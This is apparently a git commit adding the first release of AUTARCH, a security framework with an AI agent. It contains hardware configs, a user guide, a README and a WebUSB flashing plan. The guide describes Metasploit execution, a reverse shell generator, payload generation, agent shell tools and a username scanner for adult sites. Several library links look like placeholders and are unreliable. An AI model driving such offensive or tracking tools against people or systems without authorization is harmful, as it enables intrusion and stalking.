Initial public release — AUTARCH v1.0.0

Full security platform with web dashboard, 16 Flask blueprints, 26 modules,
autonomous AI agent, WebUSB hardware support, and Archon Android companion app.

Includes Hash Toolkit, debug console, anti-stalkerware shield, Metasploit/RouterSploit
integration, WireGuard VPN, OSINT reconnaissance, and multi-backend LLM support.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
DigiJ 2026-03-01 03:57:32 -08:00
commit ffe47c51b5
258 changed files with 431477 additions and 0 deletions

46
.config/amd_rx6700xt.conf Normal file
View File

@ -0,0 +1,46 @@
# AUTARCH LLM Configuration Template
# Hardware: AMD Radeon RX 6700 XT (12GB VRAM)
# Optimized for: GPU inference with ROCm/HIP support
#
# This configuration is optimized for AMD GPUs using ROCm.
# The RX 6700 XT has 12GB VRAM, excellent for 7B-13B models.
# Requires ROCm drivers and PyTorch with ROCm support.
[llama]
# GGUF Model Settings (llama.cpp)
# Note: llama.cpp requires HIP/ROCm build for AMD GPU support
# Build with: CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python
model_path =
n_ctx = 8192
n_threads = 8
n_gpu_layers = -1
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 4096
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
# ROCm uses 'cuda' device identifier in PyTorch
model_path =
device = cuda
torch_dtype = float16
load_in_8bit = false
load_in_4bit = false
trust_remote_code = false
max_tokens = 4096
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# Notes:
# - 12GB VRAM allows running 13B models at float16
# - For 33B+ models, enable load_in_4bit = true
# - ROCm support requires specific PyTorch version:
# pip install torch --index-url https://download.pytorch.org/whl/rocm5.6
# - llama.cpp needs HIP build for GPU acceleration
# - If GPU not detected, falls back to CPU (check ROCm installation)
# - n_ctx = 8192 works well with 12GB VRAM

View File

@ -0,0 +1,41 @@
# AUTARCH LLM Configuration Template
# Hardware: NVIDIA GeForce RTX 4070 Mobile (8GB VRAM)
# Optimized for: GPU inference with good VRAM management
#
# This configuration balances performance and memory usage for mobile RTX 4070.
# The 4070 Mobile has 8GB VRAM, suitable for 7B models at full precision
# or 13B models with quantization.
[llama]
# GGUF Model Settings (llama.cpp)
model_path =
n_ctx = 8192
n_threads = 8
n_gpu_layers = -1
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 4096
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
model_path =
device = cuda
torch_dtype = float16
load_in_8bit = false
load_in_4bit = false
trust_remote_code = false
max_tokens = 4096
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# Notes:
# - n_gpu_layers = -1 offloads all layers to GPU
# - For 13B+ models, enable load_in_4bit = true
# - float16 is optimal for RTX 4070
# - n_ctx = 8192 uses ~2GB VRAM overhead
# - Reduce n_ctx to 4096 if running out of VRAM

View File

@ -0,0 +1,46 @@
# AUTARCH LLM Configuration Template
# Hardware: Orange Pi 5 Plus (RK3588 SoC, 8-core ARM, 16GB RAM)
# Optimized for: CPU-only inference on ARM64
#
# This configuration is optimized for the Orange Pi 5 Plus running
# CPU-only inference. The RK3588 has 4x Cortex-A76 + 4x Cortex-A55 cores.
# Best with quantized GGUF models (Q4_K_M or Q5_K_M).
[llama]
# GGUF Model Settings (llama.cpp)
# Recommended: Use Q4_K_M or Q5_K_M quantized models
model_path =
n_ctx = 2048
n_threads = 4
n_gpu_layers = 0
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
# Note: CPU inference is slow with transformers, GGUF recommended
model_path =
device = cpu
torch_dtype = float32
load_in_8bit = false
load_in_4bit = false
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# Notes:
# - n_threads = 4 uses only the fast A76 cores (better perf than all 8)
# - n_ctx = 2048 balances memory usage and capability
# - n_gpu_layers = 0 for pure CPU inference
# - Strongly recommend GGUF Q4_K_M models for best speed
# - 7B Q4 models use ~4GB RAM, leaving room for system
# - max_tokens = 1024 keeps generation times reasonable
# - For transformers: CPU with float32 is slow but works
# - Avoid 13B+ models unless heavily quantized

View File

@ -0,0 +1,67 @@
# AUTARCH LLM Configuration Template
# Hardware: Orange Pi 5 Plus with ARM Mali-G610 MP4 GPU
# Status: EXPERIMENTAL - Mali GPU support for LLMs is limited
#
# WARNING: This configuration is experimental!
# The Mali-G610 GPU has limited LLM support. Most frameworks
# fall back to CPU. This config attempts to leverage what GPU
# acceleration is available.
[llama]
# GGUF Model Settings (llama.cpp)
# Note: llama.cpp OpenCL backend may provide some acceleration
# Build with: CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python
# Requires: libclblast-dev, opencl-headers, ocl-icd-opencl-dev
model_path =
n_ctx = 2048
n_threads = 4
n_gpu_layers = 8
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
[transformers]
# SafeTensors Model Settings (HuggingFace)
# Note: PyTorch has experimental Vulkan backend for mobile GPUs
# This is highly experimental and may not work
model_path =
device = cpu
torch_dtype = float32
load_in_8bit = false
load_in_4bit = true
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
# EXPERIMENTAL NOTES:
#
# Mali-G610 GPU Support Status:
# - OpenCL: Partial support via CLBlast, may accelerate some layers
# - Vulkan: PyTorch vulkan backend is experimental
# - Direct Mali: No native support in major LLM frameworks
#
# To enable OpenCL acceleration for llama.cpp:
# 1. Install dependencies:
# sudo apt install libclblast-dev opencl-headers ocl-icd-opencl-dev
# 2. Install Mali OpenCL driver (if available for your distro)
# 3. Rebuild llama-cpp-python with CLBlast:
# CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python --force-reinstall
#
# n_gpu_layers = 8: Offloads only some layers (conservative)
# - Increase if stable, decrease if crashes
# - Set to 0 if OpenCL not working
#
# For transformers:
# - load_in_4bit = true reduces memory pressure
# - CPU inference is the reliable fallback
#
# Performance Expectations:
# - Best case: 20-30% speedup over pure CPU
# - Likely case: Similar to CPU or unstable
# - Use orangepi5plus_cpu.conf for stable operation

78
.gitignore vendored Normal file
View File

@ -0,0 +1,78 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
*.egg-info/
*.egg
# Virtual environments
venv/
.venv/
env/
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Data & databases (regenerated at runtime)
data/cve/*.db
data/sites/*.db
data/uploads/
data/hardware/
# Large files
models/
*.gguf
claude.bk
*.mtf
# Results (user-generated)
results/
dossiers/
# OSINT scan results
*_profiles.json
# Secrets & config with credentials
.env
*.pem
*.key
# Node
node_modules/
# Gradle
.gradle/
gradle-*/
# Bundled tools (large binaries)
tools/
# Android SDK tools (bundled binaries)
android/
# Build artifacts
dist/
build/
build_temp/
*.spec.bak
# OS files
.DS_Store
Thumbs.db
# Claude Code
.claude/
# Snoop data
snoop/
data/sites/snoop_full.json
# Custom user data (optional - users may want to track these)
# custom_adultsites.json
# custom_sites.inf
# custom_apis.json

9
CLAUDE.md Normal file
View File

@ -0,0 +1,9 @@
# AUTARCH — Claude Code Instructions
## Required Reading
Before starting any task, read these files for project context, history, and current status:
- **DEVLOG.md** — Development log with implementation details and decisions
- **devjournal.md** — Development journal with notes and progress tracking
- **master_plan.md** — Master plan with project goals and roadmap

5375
DEVLOG.md Normal file

File diff suppressed because it is too large Load Diff

588
GUIDE.md Normal file
View File

@ -0,0 +1,588 @@
# AUTARCH User Guide
## Project Overview
**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
### What We Built
AUTARCH is a modular Python security framework featuring:
- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
- **Autonomous Agent** - AI agent that can execute tools and complete tasks
- **Metasploit Integration** - Direct MSF RPC control from within the framework
- **Modular Architecture** - Plugin-based system for easy extension
- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
---
## Project Structure
```
dh_framework/
├── autarch.py # Main entry point
├── autarch_settings.conf # Configuration file
├── custom_adultsites.json # Custom adult sites storage
├── custom_sites.inf # Bulk import file
├── DEVLOG.md # Development log
├── GUIDE.md # This guide
├── core/ # Core framework modules
│ ├── __init__.py
│ ├── agent.py # Autonomous AI agent
│ ├── banner.py # ASCII banner and colors
│ ├── config.py # Configuration handler
│ ├── llm.py # LLM wrapper (llama-cpp-python)
│ ├── menu.py # Main menu system
│ ├── msf.py # Metasploit RPC client
│ └── tools.py # Agent tool registry
└── modules/ # User-facing modules
├── __init__.py
├── setup.py # First-time setup wizard
├── chat.py # Interactive LLM chat (core)
├── agent.py # Agent interface (core)
├── msf.py # Metasploit interface (offense)
├── defender.py # System hardening (defense)
├── counter.py # Threat detection (counter)
├── analyze.py # Forensics tools (analyze)
├── recon.py # OSINT reconnaissance (osint)
├── adultscan.py # Adult site scanner (osint)
└── simulate.py # Attack simulation (simulate)
```
---
## Installation & Setup
### Requirements
- Python 3.8+
- llama-cpp-python (pre-installed)
- A GGUF model file for LLM features
- Metasploit Framework (optional, for MSF features)
### First Run
```bash
cd /home/snake/dh_framework
python autarch.py
```
On first run, the setup wizard automatically launches with options:
1. **Configure LLM** - Set up model for chat & agent features
2. **Skip Setup** - Use without LLM (most modules still work)
### Running Without LLM
Many modules work without an LLM configured:
```bash
# Skip setup on first run
python autarch.py --skip-setup
```
**Modules that work without LLM:**
- defender (Defense) - System hardening checks
- counter (Counter) - Threat detection
- analyze (Analyze) - File forensics
- recon (OSINT) - Email, username, domain lookup
- adultscan (OSINT) - Adult site scanner
- simulate (Simulate) - Port scan, payloads
- msf (Offense) - Metasploit interface
**Modules that require LLM:**
- chat - Interactive LLM chat
- agent - Autonomous AI agent
You can configure LLM later with `python autarch.py --setup`
---
## Command Line Interface
### Basic Usage
```bash
python autarch.py [OPTIONS] [COMMAND]
```
### Options
| Option | Description |
|--------|-------------|
| `-h, --help` | Show help message and exit |
| `-v, --version` | Show version information |
| `-c, --config FILE` | Use alternate config file |
| `--skip-setup` | Skip first-time setup (run without LLM) |
| `-m, --module NAME` | Run a specific module directly |
| `-l, --list` | List all available modules |
| `--setup` | Force run the setup wizard |
| `--no-banner` | Suppress the ASCII banner |
| `-q, --quiet` | Minimal output mode |
### Commands
| Command | Description |
|---------|-------------|
| `chat` | Start interactive LLM chat |
| `agent` | Start the autonomous agent |
| `scan <target>` | Quick port scan |
| `osint <username>` | Quick username OSINT |
### Examples
```bash
# Show help
python autarch.py --help
# Run a specific module
python autarch.py -m chat
python autarch.py -m adultscan
# List all modules
python autarch.py --list
# Quick OSINT scan
python autarch.py osint targetuser
# Re-run setup
python autarch.py --setup
```
---
## Main Menu Navigation
### Menu Structure
```
Main Menu
──────────────────────────────────────────────────
[1] Defense - Defensive security tools
[2] Offense - Penetration testing
[3] Counter - Counter-intelligence
[4] Analyze - Analysis & forensics
[5] OSINT - Open source intelligence
[6] Simulate - Attack simulation
[99] Settings
[98] Exit
```
### Category Details
#### [1] Defense
System hardening and defensive security:
- Full Security Audit
- Firewall Check
- SSH Hardening
- Open Ports Scan
- User Security Check
- File Permissions Audit
- Service Audit
#### [2] Offense
Penetration testing with Metasploit:
- Search Modules
- Use/Configure Modules
- Run Exploits
- Manage Sessions
- Console Commands
- Quick Scanners
#### [3] Counter
Counter-intelligence and threat hunting:
- Full Threat Scan
- Suspicious Process Detection
- Network Analysis
- Login Anomalies
- File Integrity Monitoring
- Scheduled Task Audit
- Rootkit Detection
#### [4] Analyze
Forensics and file analysis:
- File Analysis (metadata, hashes, type)
- String Extraction
- Hash Lookup (VirusTotal, Hybrid Analysis)
- Log Analysis
- Hex Dump Viewer
- File Comparison
#### [5] OSINT
Open source intelligence gathering:
- **recon.py** - Email, username, phone, domain, IP lookup
- **adultscan.py** - Adult site username scanner
#### [6] Simulate
Attack simulation and red team:
- Password Audit
- Port Scanner
- Banner Grabber
- Payload Generator (XSS, SQLi, etc.)
- Network Stress Test
---
## Module Reference
### Core Modules
#### chat.py - Interactive Chat
```
Category: core
Commands:
/help - Show available commands
/clear - Clear conversation history
/history - Show conversation history
/info - Show model information
/system - Set system prompt
/temp - Set temperature
/tokens - Set max tokens
/stream - Toggle streaming
/exit - Exit chat
```
#### agent.py - Autonomous Agent
```
Category: core
Commands:
tools - Show available tools
exit - Return to main menu
help - Show help
Available Tools:
shell - Execute shell commands
read_file - Read file contents
write_file - Write to files
list_dir - List directory contents
search_files - Glob pattern search
search_content - Content search (grep)
task_complete - Signal completion
ask_user - Request user input
msf_* - Metasploit tools
```
### OSINT Modules
#### recon.py - OSINT Reconnaissance
```
Category: osint
Version: 2.0
Menu:
Email
[1] Email Lookup
[2] Email Permutator
Username
[3] Username Lookup (17+ platforms)
[4] Social Analyzer integration
Phone
[5] Phone Number Lookup
Domain/IP
[6] Domain Recon
[7] IP Address Lookup
[8] Subdomain Enumeration
[9] Technology Detection
```
#### adultscan.py - Adult Site Scanner
```
Category: osint
Version: 1.3
Menu:
Scan Categories:
[1] Full Scan (all categories)
[2] Fanfiction & Story Sites
[3] Art & Creative Sites
[4] Video & Streaming Sites
[5] Forums & Communities
[6] Dating & Social Sites
[7] Gaming Related Sites
[8] Custom Sites Only
[9] Custom Category Selection
Site Management:
[A] Add Custom Site (manual)
[D] Auto-Detect Site Pattern
[B] Bulk Import from File
[M] Manage Custom Sites
[L] List All Sites
Sites Database: 50+ built-in sites
Categories: fanfiction, art, video, forums, dating, gaming, custom
```
##### Adding Custom Sites
**Manual Add [A]:**
```
Site name: MySite
URL pattern (use * for username): mysite.com/user/*
Detection Method: [1] Status code
```
**Auto-Detect [D]:**
```
Domain: example.com
Test username: knownuser
(System probes 17 common patterns)
```
**Bulk Import [B]:**
1. Edit `custom_sites.inf`:
```
# One domain per line
site1.com
site2.net
site3.org
```
2. Run Bulk Import and provide test username
3. System auto-detects patterns for each domain
---
## Configuration
### Config File: autarch_settings.conf
```ini
[llama]
model_path = /path/to/model.gguf
n_ctx = 4096
n_threads = 4
n_gpu_layers = 0
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 2048
seed = -1
[autarch]
first_run = false
modules_path = modules
verbose = false
[msf]
host = 127.0.0.1
port = 55553
username = msf
password =
ssl = true
```
### LLM Settings
| Setting | Default | Description |
|---------|---------|-------------|
| model_path | (required) | Path to GGUF model file |
| n_ctx | 4096 | Context window size |
| n_threads | 4 | CPU threads for inference |
| n_gpu_layers | 0 | Layers to offload to GPU |
| temperature | 0.7 | Sampling temperature (0.0-2.0) |
| top_p | 0.9 | Nucleus sampling threshold |
| top_k | 40 | Top-K sampling |
| repeat_penalty | 1.1 | Repetition penalty |
| max_tokens | 2048 | Maximum response length |
| seed | -1 | Random seed (-1 = random) |
### Metasploit Settings
| Setting | Default | Description |
|---------|---------|-------------|
| host | 127.0.0.1 | MSF RPC host |
| port | 55553 | MSF RPC port |
| username | msf | RPC username |
| password | (none) | RPC password |
| ssl | true | Use SSL connection |
**Starting msfrpcd:**
```bash
msfrpcd -P yourpassword -S -a 127.0.0.1
```
---
## Creating Custom Modules
### Module Template
```python
"""
Module description here
"""
# Module metadata (required)
DESCRIPTION = "Short description"
AUTHOR = "Your Name"
VERSION = "1.0"
CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
def run():
"""Main entry point - REQUIRED"""
clear_screen()
display_banner()
print(f"{Colors.BOLD}My Module{Colors.RESET}")
# Your code here
if __name__ == "__main__":
run()
```
### Available Colors
```python
from core.banner import Colors
Colors.RED
Colors.GREEN
Colors.YELLOW
Colors.BLUE
Colors.MAGENTA
Colors.CYAN
Colors.WHITE
Colors.BOLD
Colors.DIM
Colors.RESET
```
### Module Categories
| Category | Color | Description |
|----------|-------|-------------|
| defense | Blue | Defensive security |
| offense | Red | Penetration testing |
| counter | Magenta | Counter-intelligence |
| analyze | Cyan | Forensics & analysis |
| osint | Green | Open source intelligence |
| simulate | Yellow | Attack simulation |
| core | White | Core framework modules |
---
## Agent Tools Reference
The autonomous agent has access to these tools:
### File Operations
```
read_file(path) - Read file contents
write_file(path, content) - Write to file
list_dir(path) - List directory
search_files(pattern) - Glob search
search_content(pattern) - Grep search
```
### System Operations
```
shell(command, timeout) - Execute shell command
```
### User Interaction
```
ask_user(question) - Prompt user for input
task_complete(result) - Signal task completion
```
### Metasploit Operations
```
msf_connect() - Connect to MSF RPC
msf_search(query) - Search modules
msf_module_info(module) - Get module info
msf_module_options(module) - Get module options
msf_execute(module, options) - Execute module
msf_sessions() - List sessions
msf_session_command(id, cmd) - Run session command
msf_console(command) - Direct console
```
---
## Troubleshooting
### Common Issues
**LLM not loading:**
- Verify model_path in autarch_settings.conf
- Check file permissions on model file
- Ensure sufficient RAM for model size
**MSF connection failed:**
- Verify msfrpcd is running: `msfrpcd -P password -S`
- Check host/port in settings
- Verify password is correct
**Module not appearing:**
- Ensure module has `CATEGORY` attribute
- Ensure module has `run()` function
- Check for syntax errors
**Adult scanner false positives:**
- Some sites return 200 for all requests
- Use content-based detection for those sites
- Verify with a known username
### Debug Mode
```bash
# Enable verbose output
python autarch.py --verbose
# Check configuration
python autarch.py --show-config
```
---
## Security Notice
AUTARCH is designed for **authorized security testing only**. Users are responsible for:
- Obtaining proper authorization before testing
- Complying with all applicable laws
- Using tools ethically and responsibly
**Do not use for:**
- Unauthorized access
- Harassment or stalking
- Any illegal activities
---
## Version History
| Version | Date | Changes |
|---------|------|---------|
| 1.0 | 2026-01-14 | Initial release |
| 1.1 | 2026-01-14 | Added custom site management |
| 1.2 | 2026-01-14 | Added auto-detect patterns |
| 1.3 | 2026-01-14 | Added bulk import |
---
## Credits
**Project AUTARCH**
By darkHal Security Group and Setec Security Labs
---
*For development history, see DEVLOG.md*

172
README.md Normal file
View File

@ -0,0 +1,172 @@
# AUTARCH
**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking**
By **darkHal Security Group** & **Setec Security Labs**
---
## Overview
AUTARCH is a modular security platform combining defensive hardening, offensive testing, forensic analysis, OSINT reconnaissance, and attack simulation into a single web-based dashboard. It features local and cloud LLM integration, an autonomous AI agent, hardware device management over WebUSB, and a companion Android application.
## Features
- **Defense** — System hardening audits, firewall checks, permission analysis, security scoring
- **Offense** — Metasploit & RouterSploit integration, module execution with live SSE streaming
- **Counter** — Threat detection, suspicious process analysis, rootkit checks, network monitoring
- **Analyze** — File forensics, hash toolkit (43 algorithm patterns), hex dumps, string extraction, log analysis
- **OSINT** — Email/username/phone/domain/IP reconnaissance, 7,287+ indexed sites
- **Simulate** — Attack simulation, port scanning, password auditing, payload generation
- **Hardware** — ADB/Fastboot over WebUSB, ESP32 flashing via Web Serial, dual-mode (server + direct)
- **Android Protection** — Anti-stalkerware/spyware shield, signature-based scanning, permission auditing
- **Agent Hal** — Autonomous AI agent with tool use, available as a global chat panel
- **Hash Toolkit** — Hash algorithm identification (hashid-style), file/text hashing, hash mutation, threat intel lookups
- **Enc Modules** — Encrypted module system for sensitive payloads
- **Reverse Shell** — Multi-language reverse shell generator
- **WireGuard VPN** — Tunnel management and remote device access
- **UPnP** — Automated port forwarding
- **Wireshark** — Packet capture and analysis via tshark/pyshark
- **MSF Console** — Web-based Metasploit console with live terminal
- **Debug Console** — Real-time Python logging output with 5 filter modes
## Architecture
```
autarch.py # Main entry point (CLI + web server)
core/ # 25+ Python modules (agent, config, hardware, llm, msf, etc.)
modules/ # 26 loadable modules (defense, offense, counter, analyze, osint, simulate)
web/
app.py # Flask app factory (16 blueprints)
routes/ # 15 route files
templates/ # 16 Jinja2 templates
static/ # JS, CSS, WebUSB bundles
autarch_companion/ # Archon Android app (Kotlin)
data/ # SQLite DBs, JSON configs, stalkerware signatures
```
## Quick Start
### From Source
```bash
# Clone
git clone https://github.com/digijeth/autarch.git
cd autarch
# Install dependencies
pip install -r requirements.txt
# Run
python autarch.py
```
The web dashboard starts at `https://localhost:8080` (self-signed cert).
### Windows Installer
Download `autarch_public.msi` or `autarch_public.exe` from the [Releases](https://github.com/digijeth/autarch/releases) page.
## Configuration
Settings are managed via `autarch_settings.conf` (auto-generated on first run) and the web UI Settings page.
Key sections: `[server]`, `[llm]`, `[msf]`, `[wireguard]`, `[upnp]`, `[hardware]`
### LLM Backends
- **Local** — llama-cpp-python (GGUF models) or HuggingFace Transformers (SafeTensors)
- **Claude** — Anthropic Claude API
- **OpenAI** — OpenAI-compatible API (custom endpoint support)
- **HuggingFace** — HuggingFace Inference API (8 provider options)
## Ports
| Port | Service |
|-------|---------|
| 8080 | Web Dashboard (HTTPS) |
| 8081 | MCP Server (SSE) |
| 17321 | Archon Server (Android companion) |
| 17322 | Reverse Shell Listener |
| 51820 | WireGuard VPN |
## Platform Support
- **Primary:** Linux (Orange Pi 5 Plus, RK3588 ARM64)
- **Supported:** Windows 10/11 (x86_64)
- **WebUSB:** Chromium-based browsers required for Direct mode hardware access
## Acknowledgements
AUTARCH builds on the work of many outstanding open-source projects. We thank and acknowledge them all:
### Frameworks & Libraries
- [Flask](https://flask.palletsprojects.com/) — Web application framework
- [Jinja2](https://jinja.palletsprojects.com/) — Template engine
- [llama.cpp](https://github.com/ggml-org/llama.cpp) — Local LLM inference engine
- [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) — Python bindings for llama.cpp
- [HuggingFace Transformers](https://github.com/huggingface/transformers) — ML model library
- [Anthropic Claude API](https://docs.anthropic.com/) — Cloud LLM backend
- [FastMCP](https://github.com/jlowin/fastmcp) — Model Context Protocol server
### Security Tools
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — Penetration testing framework
- [RouterSploit](https://github.com/threat9/routersploit) — Router exploitation framework
- [Nmap](https://nmap.org/) — Network scanner and mapper
- [Wireshark / tshark](https://www.wireshark.org/) — Network protocol analyzer
- [Scapy](https://scapy.net/) — Packet crafting and analysis
- [WireGuard](https://www.wireguard.com/) — Modern VPN tunnel
### Hardware & Mobile
- [@yume-chan/adb](https://github.com/nicola-nicola/nicola-nicola) — ADB over WebUSB
- [android-fastboot](https://github.com/nicola-nicola/nicola-nicola) — Fastboot over WebUSB
- [esptool-js](https://github.com/nicola-nicola/nicola-nicola) — ESP32 flashing in browser
- [Android Platform Tools](https://developer.android.com/tools/releases/platform-tools) — ADB & Fastboot CLI
- [esptool](https://github.com/nicola-nicola/nicola-nicola) — ESP32 firmware flashing
- [pyserial](https://github.com/pyserial/pyserial) — Serial port communication
- [pyshark](https://github.com/KimiNewt/pyshark) — Wireshark Python interface
- [scrcpy](https://github.com/Genymobile/scrcpy) — Android screen mirroring
- [libadb-android](https://github.com/nicola-nicola/nicola-nicola) — ADB client for Android
### Python Libraries
- [bcrypt](https://github.com/pyca/bcrypt) — Password hashing
- [requests](https://github.com/psf/requests) — HTTP client
- [msgpack](https://github.com/msgpack/msgpack-python) — Serialization (Metasploit RPC)
- [cryptography](https://github.com/pyca/cryptography) — Cryptographic primitives
- [PyCryptodome](https://github.com/Legrandin/pycryptodome) — AES encryption
- [Pillow](https://github.com/python-pillow/Pillow) — Image processing
- [qrcode](https://github.com/lincolnloop/python-qrcode) — QR code generation
- [zeroconf](https://github.com/python-zeroconf/python-zeroconf) — mDNS service discovery
- [PyInstaller](https://github.com/pyinstaller/pyinstaller) — Executable packaging
- [cx_Freeze](https://github.com/marcelotduarte/cx_Freeze) — MSI installer packaging
### Android / Kotlin
- [AndroidX](https://developer.android.com/jetpack/androidx) — Jetpack libraries
- [Material Design 3](https://m3.material.io/) — UI components
- [Conscrypt](https://github.com/nicola-nicola/nicola-nicola) — SSL/TLS provider for Android
### Build Tools
- [esbuild](https://esbuild.github.io/) — JavaScript bundler
- [Gradle](https://gradle.org/) — Android build system
### Data Sources
- [NVD API v2.0](https://nvd.nist.gov/developers/vulnerabilities) — National Vulnerability Database
## License
Restricted Public Release. Authorized use only — activity is logged.
## Disclaimer
AUTARCH is a security research and authorized penetration testing platform. Use only on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal. The authors accept no liability for misuse.
---
*Built with discipline by darkHal Security Group & Setec Security Labs.*

2
activate.sh Normal file
View File

@ -0,0 +1,2 @@
#!/bin/bash
source "$(dirname "$(realpath "$0")")/venv/bin/activate"

376
android_plan.md Normal file
View File

@ -0,0 +1,376 @@
# AUTARCH Android Plan - Browser-Based Hardware Access
## darkHal Security Group
**Created:** 2026-02-14
---
## Problem Statement
The current hardware module (Phase 4.5) is **server-side only**: Flask routes call `adb`/`fastboot`/`esptool` as subprocess commands on the AUTARCH server. This works when devices are physically plugged into the server (e.g., Orange Pi), but does NOT allow a remote user to flash a device plugged into their own machine.
**Goal:** Add **browser-based direct USB/Serial access** using WebUSB and Web Serial APIs, so users can flash devices plugged into their local machine through the AUTARCH web interface. Keep the existing server-side mode as a fallback.
---
## Architecture: Dual-Mode Hardware Access
```
┌─────────────────────────────────────┐
│ AUTARCH Web Dashboard │
│ hardware.html │
│ │
│ ┌─────────┐ ┌──────────────┐ │
│ │ SERVER │ │ DIRECT │ │
│ │ MODE │ │ MODE │ │
│ │ │ │ │ │
│ │ Flask │ │ WebUSB / │ │
│ │ API │ │ Web Serial │ │
│ │ calls │ │ (browser JS) │ │
│ └────┬────┘ └──────┬───────┘ │
└────────┼────────────────┼───────────┘
│ │
┌────────▼────┐ ┌──────▼───────┐
│ AUTARCH │ │ User's │
│ Server │ │ Browser │
│ (Orange Pi)│ │ ↕ USB/Serial│
│ ↕ USB │ │ ↕ Device │
│ ↕ Device │ └──────────────┘
└─────────────┘
Server Mode: device ↔ server ↔ Flask API ↔ browser (existing)
Direct Mode: device ↔ browser (WebUSB/Web Serial) ↔ JS libs (NEW)
```
**Server Mode** = Existing implementation. Device plugged into server. Flask calls adb/fastboot/esptool as subprocesses. Works in any browser.
**Direct Mode** = NEW. Device plugged into user's machine. Browser talks directly to device via WebUSB (ADB, Fastboot) or Web Serial (ESP32). Requires Chromium-based browser (Chrome, Edge, Brave, Opera).
---
## JavaScript Libraries
### 1. ADB — ya-webadb / Tango
- **npm:** `@yume-chan/adb`, `@yume-chan/adb-daemon-webusb`, `@yume-chan/stream-extra`
- **License:** MIT
- **API:** WebUSB → ADB protocol (shell, file sync, reboot, logcat, install, scrcpy)
- **Source:** https://github.com/yume-chan/ya-webadb
- **Key classes:**
- `AdbDaemonWebUsbDeviceManager` — enumerate/request USB devices
- `AdbDaemonWebUsbDevice` — wrap USB device for ADB transport
- `AdbDaemonTransport` — handshake + auth
- `Adb` — main interface (shell, sync, subprocess, reboot)
- **Usage pattern:**
```js
const manager = new AdbDaemonWebUsbDeviceManager(navigator.usb);
const device = await manager.requestDevice(); // USB permission prompt
const connection = await device.connect();
const transport = await AdbDaemonTransport.authenticate({connection, ...});
const adb = new Adb(transport);
const output = await adb.subprocess.spawnAndWait('ls /sdcard');
```
### 2. Fastboot — fastboot.js (kdrag0n)
- **npm:** `android-fastboot`
- **License:** MIT
- **API:** WebUSB → Fastboot protocol (getvar, flash, boot, reboot, OEM unlock)
- **Source:** https://github.com/niccolozy/fastboot.js (fork of kdrag0n), used by ArKT-7/nabu
- **Key classes:**
- `FastbootDevice` — connect, getVariable, flashBlob, reboot, flashFactoryZip
- **Usage pattern:**
```js
const device = new FastbootDevice();
await device.connect(); // USB permission prompt
const product = await device.getVariable('product');
await device.flashBlob('boot', blob, (progress) => updateUI(progress));
await device.reboot();
```
### 3. ESP32 — esptool-js (Espressif)
- **npm:** `esptool-js`
- **License:** Apache-2.0
- **API:** Web Serial → ESP32 ROM bootloader (chip detect, flash, erase, read MAC)
- **Source:** https://github.com/niccolozy/esptool-js (Espressif)
- **Key classes:**
- `ESPLoader` — main class, connect/detectChip/writeFlash
- `Transport` — Web Serial wrapper
- **Usage pattern:**
```js
const port = await navigator.serial.requestPort();
await port.open({ baudRate: 115200 });
const transport = new Transport(port);
const loader = new ESPLoader({ transport, baudrate: 115200 });
await loader.main(); // connect + detect chip
console.log('Chip:', loader.chipName);
await loader.writeFlash({ fileArray: [{data: firmware, address: 0x0}],
flashSize: 'keep', progressCallback: fn });
```
---
## Build Strategy: Pre-bundled ESM
Since AUTARCH uses vanilla JS (no React/webpack/build system), we need browser-ready bundles of the npm libraries.
**Approach:** Use `esbuild` to create self-contained browser bundles, saved as static JS files.
```
web/static/js/
├── app.js # Existing (1,477 lines)
├── lib/
│ ├── adb-bundle.js # ya-webadb bundled (ESM → IIFE)
│ ├── fastboot-bundle.js # fastboot.js bundled
│ └── esptool-bundle.js # esptool-js bundled
└── hardware-direct.js # NEW: Direct-mode logic (~500 lines)
```
**Build script** (`scripts/build-hw-libs.sh`):
```bash
#!/bin/bash
# One-time build — output goes into web/static/js/lib/
# Only needed when updating library versions
npm install --save-dev esbuild
npm install @yume-chan/adb @yume-chan/adb-daemon-webusb @yume-chan/stream-extra android-fastboot esptool-js
# Bundle each library into browser-ready IIFE
npx esbuild src/adb-entry.js --bundle --format=iife --global-name=YumeAdb --outfile=web/static/js/lib/adb-bundle.js
npx esbuild src/fastboot-entry.js --bundle --format=iife --global-name=Fastboot --outfile=web/static/js/lib/fastboot-bundle.js
npx esbuild src/esptool-entry.js --bundle --format=iife --global-name=EspTool --outfile=web/static/js/lib/esptool-bundle.js
```
**Entry point files** (thin wrappers that re-export what we need):
```js
// src/adb-entry.js
